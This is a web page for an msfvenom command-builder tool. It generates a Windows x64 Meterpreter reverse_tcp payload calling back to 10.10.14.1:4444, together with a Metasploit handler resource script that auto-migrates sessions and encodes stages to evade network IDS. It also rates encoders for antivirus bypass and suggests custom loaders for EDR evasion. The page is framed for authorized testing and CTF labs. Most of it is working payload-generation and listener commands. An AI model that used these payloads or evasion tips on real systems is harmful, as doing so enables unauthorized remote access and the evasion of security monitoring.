Skip to content
Payload Playground

MSFVenom Command Builder

Build msfvenom commands for 10 platforms with matching listener commands, one-liner alternatives, and encoder options. Supports Windows, Linux, macOS, Android, PHP, Python, Java, NodeJS, Ruby, and Perl payloads. For authorized testing only.

XLinkedInReddit
Platform & Architecture
Payload8/16
windows/x64/meterpreter/reverse_tcp

Staged 64-bit Meterpreter over TCP for modern Windows systems.

MeterpreterStaged
Staged: Small stager (~5KB) connects back to download the full payload. Requires active handler. Smaller initial footprint but needs stable connection.
Parameters

Use 0.0.0.0 to listen on all interfaces. Use your tun0/VPN IP for HTB/THM.

Output & Encoding
Generated Command
msfvenom command
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 LHOST=10.10.14.1 LPORT=4444 -f exe -o payload.exe

Extended resource file with session management, auto-migration, and stage encoding. Save as handler.rc and run with msfconsole -r handler.rc.

handler.rc (resource file)
# Metasploit Multi/Handler Resource Script
# Usage: msfconsole -r handler.rc

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.1
set LPORT 4444

# Session management
set ExitOnSession false
set EnableStageEncoding true

# Auto-run scripts on session connect
set AutoRunScript multi_console_command -c "sysinfo; getuid"
set InitialAutoRunScript migrate -f

# Advanced options
set SessionCommunicationTimeout 0
set AutoVerifySession true

exploit -j -z

# After session: sessions -i 1
Quick handler (one-liner)
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.1; set LPORT 4444; set ExitOnSession false; exploit -j -z"
Handler Options Explained
ExitOnSession false — Keep handler running after first session connects (catch multiple callbacks)
exploit -j -z — Run as background job (-j) and don't interact immediately (-z)
AutoRunScript migrate — Automatically migrate to a stable process on connection
EnableStageEncoding true — Encode the stage payload during transmission to avoid network IDS
LHOST 0.0.0.0 — Listen on all interfaces (vs specific IP for targeted listening)
List payloads: msfvenom -l payloads | grep windows
List encoders: msfvenom -l encoders
List formats: msfvenom -l formats
Nops: msfvenom -l nops
Payload vs Exploit

Exploit: Code that takes advantage of a vulnerability to gain access or execute code on a target system.

Payload: Code that runs after the exploit succeeds. It's what you want to do on the target (reverse shell, Meterpreter, command execution).

msfvenom generates payloads. Exploits are separate modules in Metasploit that deliver these payloads.

Staged vs Stageless Comparison
AspectStaged (/)Stageless (_)
Namingshell/reverse_tcpshell_reverse_tcp
Size~5-10 KB (stager only)~200-500 KB (full payload)
Handler neededYes (must stage payload)Yes (but no staging step)
NetworkNeeds stable connectionWorks in restrictive networks
DetectionHarder to detect initiallyEasier to signature
Best forExploit buffer overflow, size limitsStandalone delivery, unstable networks
Encoder Effectiveness
EncoderArchTypeAV Bypass
shikata_ga_naix86Polymorphic XORLow (heavily signatured)
call4_dword_xorx86XOR DWORDLow
zutto_dekirux64PolymorphicMedium
xor (x64)x64XORMedium
powershell_base64AnyBase64Low (AMSI detects)

Note: Encoding alone is insufficient for modern AV/EDR bypass. Combine with custom loaders, encryption, or external tools.

Related Tools

Companion generator

Reverse Shell Generator

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/tools/msfvenom-builder) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.